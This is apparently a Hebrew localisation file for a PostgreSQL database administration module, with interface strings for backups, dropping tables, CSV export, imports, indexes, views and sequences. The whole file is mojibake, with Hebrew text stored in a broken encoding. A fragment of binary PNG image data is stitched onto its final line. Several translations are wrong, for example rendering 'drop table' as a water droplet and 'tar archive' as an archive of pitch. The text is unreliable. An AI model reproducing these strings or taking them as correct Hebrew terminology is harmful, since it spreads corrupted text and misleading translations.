backup_desc=טופס ×–×” מ×פשר לך לגבות ×ת מסד ×”× ×ª×•× ×™× $1 כקובץ של הצהרות SQL ×ו ×›×רכיב.
backup_desc2=ניתן לבצע ×ת הגיבוי ב×ופן מיידי, ×ו ב×ופן ×וטומטי בלוח ×–×ž× ×™× ×©× ×‘×—×¨.
backup_desc3=טופס ×–×” מ×פשר לך לגבות ×ת כל בסיסי ×”× ×ª×•× ×™× ×›×§×‘×¦×™× ×©×œ הצהרות SQL ×ו ×›×רכיון.
backup_path=נתיב קובץ גיבוי
backup_path2=ספריית קבצי גיבוי
backup_mkdir=ליצור ספריית יעד?
backup_err=גיבוי מסד ×”× ×ª×•× ×™× × ×›×©×œ
backup_eacl=עליך להיות מורשה ליצור ושחרר מסד נתוני×
backup_edb=×©× ×‘×¡×™×¡ × ×ª×•× ×™× ×—×¡×¨ ×ו ×œ× ×—×•×§×™
backup_epath=נתיב בסיס × ×ª×•× ×™× ×—×¡×¨
backup_ok=גיבוי עכשיו
backup_ok1=שמור וגיבוי עכשיו
backup_ok2=להציל
backup_pe1=הקובץ חייב להיות קובץ TAR (.tar) ($1)
backup_pe2=הקובץ ×§×™×™× ×›×‘×¨ ($1)
backup_pe3=נתיב קובץ גיבוי חסר ×ו ×œ× ×—×•×§×™
backup_pe4=ספריית קבצי גיבוי ×—×¡×¨×™× ×ו ש××™× × ×§×™×™×ž×™×
backup_ebackup=<tt>pg_dump</tt> נכשל : $1 
backup_ecmd=פקודת הגיבוי $1 ×œ× × ×ž×¦××” במערכת שלך
backup_format=פורמט קובץ גיבוי
backup_format_p=טקסט SQL רגיל
backup_format_t=×רכיב זפת
backup_format_c=×רכיון מות×× ×ישית
backup_ecannot=×ינך מורשה ליצור גיבויי×
backup_done=גיבוי בהצלחה של $3 ×‘×ª×™× ×ž×ž×¡×“ ×”× ×ª×•× ×™× $1 לקובץ $2.
backup_notaccept=מסד ×”× ×ª×•× ×™× $1 ×ינו מקבל חיבורי×.
backup_sched=גיבוי מתוזמן מופעל?
backup_special=לוח ×”×–×ž× ×™× ×œ×’×™×‘×•×™
backup_sched1=כן, ×œ×¤×¢×ž×™× ×©× ×‘×—×¨×• למטה ..
backup_ccron=גיבוי מתוזמן למ×גר פעיל.
backup_dcron=גיבוי מתוזמן עבור בסיס × ×ª×•× ×™× ×ž×•×©×‘×ª.
backup_ucron=נתיב גיבוי מתוזמן, פורמט ×•×–×ž× ×™× ×¢×‘×•×¨ מסד ×”× ×ª×•× ×™× ×ž×¢×•×“×›×Ÿ.
backup_ncron=גיבוי מתוזמן עבור מסד ×”× ×ª×•× ×™× ×ž×•×©×‘×ª.
backup_before=פקודה להפעלה לפני הגיבוי
backup_after=הפקודה לפעול ל×חר הגיבוי
backup_tables=טבל×ות לגיבוי
backup_alltables=כל השולחנות
backup_seltables=רק שולחן
backup_ebefore=הפקודה לפני הגיבוי נכשלה!
backup_cmode=מתי להריץ פקודות
backup_cmode1=לפני/×חרי כל מסדי הנתוני×
backup_cmode0=לפני/×חרי כל בסיס נתוני×

r_command=הפקודה ××™× ×” נתמכת

adv_title=חיפוש מתקד×
adv_and=×ž×¦× ×¨×©×•×ž×•×ª התו×מות ×ת כל ×”×§×¨×™×˜×¨×™×•× ×™× ..
adv_or=×ž×¦× ×¨×©×•×ž×•×ª התו×מות כל קריטריון ..
adv_ok=חפש כעת

tdrops_enone=×œ× × ×‘×—×¨×• טבלה (×™×) לירידה
tdrops_err=ירידת הטבל×ות נכשלה
tdrops_ok=טיפה
tdrops_title=טיפה נבחרה
tdrops_rusure=×”×× ×תה בטוח שברצונך להפיל $1 טבלה / ×™× ×©× ×‘×—×¨×• בבסיס ×”× ×ª×•× ×™× $2 ? $3 שורות × ×ª×•× ×™× ×™×™×ž×—×§×•.
tdrops_rusure2=×”×× ×תה בטוח שברצונך להפיל $1 טבלה / ×™× ×©× ×‘×—×¨×• בבסיס ×”× ×ª×•× ×™× $2 ?

ddrops_err=ירידת מסדי × ×ª×•× ×™× × ×›×©×œ×”
ddrops_title=זרוק מ×גרי מידע
ddrops_rusure=×”×× ×תה בטוח שברצונך להפיל ×ת מסדי ×”× ×ª×•× ×™× $1 שנבחרו? $2 טבל×ות המכילות $3 שורות × ×ª×•× ×™× ×™×™×ž×—×§×•.
ddrops_mysql=מכיוון שמסד ×”× ×ª×•× ×™× ×”×¨×שי נבחר, השחרור ממנו ככל הנר××” יהפוך ×ת שרת PostgreSQL לבלתי שמיש!
ddrops_ok=זרוק מ×גרי מידע
ddrops_enone=×œ× × ×‘×—×¨×• מסדי נתוני×
ddrops_ecannotdb=×ינך מורשה להשמיט ×ת מסד ×”× ×ª×•× ×™× $1 

csv_title=×™×™×¦× ×§×•×‘×¥ CSV
csv_header=×פשרויות ×™×™×¦×•× ×©×œ CSV
csv_dest=×™×™×¦×•× ×™×¢×“
csv_browser=הצג בדפדפן
csv_file=שמור לקובץ ..
csv_where=SQL <tt>×יפה</strong> סעיף לשורות לייצו×
csv_all=×™×™×¦× ×ת כל השורות
csv_ok=×™×™×¦× ×¢×›×©×™×•
csv_format=פורמט קובץ
csv_format0=CSV ×¢× ×¦×™×˜×•×˜×™×
csv_format1=CSV ×œ×œ× ×¦×™×˜×•×˜×™×
csv_format2=הכרטיסייה מופרדת
cvs_err=×™×™×¦×•× CSV נכשל
csv_efile=קובץ יעד חסר ×ו ×œ× ×ª×§×£
csv_ebuser=×ינך מורשה ×œ×™×™×¦× ×œ×§×•×‘×¥
csv_ewhere=חסר <tt>×יפה</strong> סעיף
csv_done=×™×™×¦×•× ×”- CSV ל- $1 הושל×. גודל הקובץ שהתקבל ×”×•× $2.
csv_headers=לכלול שמות עמודות ב- CSV?
csv_cols=עמודות לכלול ב- CSV
csv_ecols=×œ× × ×‘×—×¨×• עמודות

import_title=×™×™×‘× × ×ª×•× ×™×
import_uploadout=×ž×™×™×‘× × ×ª×•× ×™× ×ž×§×•×‘×¥ שהועלה.
import_fileout=×ž×™×™×‘× × ×ª×•× ×™× ×ž×§×•×‘×¥ $1.
import_eupload=חסר קובץ ×™×™×‘×•× ×©×”×•×¢×œ×”
import_efile=×©× ×§×•×‘×¥ ×”×™×™×‘×•× ×—×¡×¨
import_done=.. יצר $1 שורות, דילג על כפילויות של $2.
import_erow=.. ×œ× × ×ž×¦×ו שדות בשורה $1 

index_title1=צור ×ינדקס
index_header1=×פשרויות ×ינדקס
index_name=×©× ×ינדקס
index_fields=שדות ב×ינדקס
index_type=סוג ×ינדקס
index_unique=ייחודי
index_nonunique=×œ× ×™×™×—×•×“×™
index_fulltext=טקסט מל×
index_spatial=מרחבית
index_err=יצירת ×”×ינדקס נכשלה
index_ename=×©× ×ינדקס חסר ×ו ×œ× ×—×•×§×™
index_eclash=כבר ×§×™×™× ×ינדקס ×¢× ×ותו ש×
index_ehash=רק ××™× ×“×§×¡×™× ×©×œ BTREE ×™×›×•×œ×™× ×œ×”×™×•×ª ייחודיי×
index_ecols=×œ× × ×‘×—×¨×• שדות
index_title2=ערוך ×ינדקס
index_header=×ינדקס $1 במ×גר × ×ª×•× ×™× 2
index_ecannot=×ינך מורשה לנהל ×ינדקסי×

view_title1=צור תצוגה
view_title2=ערוך תצוגה
view_header1=הצג פרטי×
view_name=הצג ש×
view_query=ש×ילתת בחירת SQL
view_cols=שמות עמודי×
view_auto=×וטומטי
view_below=נכנס למטה ..
view_err=שמירת התצוגה נכשלה
view_ename=×©× ×ª×¦×•×’×” חסר ×ו ×œ× ×—×•×§×™
view_eclash=תצוגה ×¢× ×ותו ×©× ×›×‘×¨ קיימת
view_equery=ש×ילתת SQL חסרה
view_ecols=×œ× ×”×•×–× ×• שמות עמודות
view_ecannot=×ינך רש××™ לנהל תצוגות

seq_title1=צור רצף
seq_title2=ערוך רצף
seq_header1=×פשרויות רצף מצטברות
seq_name=×©× ×”×¨×¦×£
seq_last=ערך נוכחי
seq_leave=הש×ר ×œ×œ× ×©×™× ×•×™ ($1)
seq_min=ערך מינימלי
seq_max=ערך מקסימ×לי
seq_inc=תוספת על ידי
seq_cache=מספר ×”×¢×¨×›×™× ×œ×˜×ž×•×Ÿ
seq_cycle=לחזור לדקות ×”×ž×§×¡×™×ž×•× ×›×©×ž×’×™×¢×™× ×œ×ž×§×¡×™×ž×•×?
seq_none=××£ ×חד
seq_err=שמירת הרצף נכשלה
seq_ename=×©× ×¨×¦×£ חסר ×ו ×œ× ×—×•×§×™
seq_eclash=×§×™×™× ×›×‘×¨ רצף ×¢× ×ותו ש×
seq_emin=ערך מינימלי חסר ×ו ×œ× ×—×•×§×™
seq_emax=ערך מקסימלי חסר ×ו ×œ× ×—×•×§×™
seq_ecache=מספר ×¢×¨×›×™× ×—×¡×¨ ×ו ×œ× ×—×•×§×™ למטמון
seq_ecannot=×ינך מורשה לנהל רצפי×

dgrant_err=×יפוס ×”×ž×¢× ×§×™× × ×›×©×œ
dgrant_enone=×œ× × ×‘×—×¨×• חפצי×
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚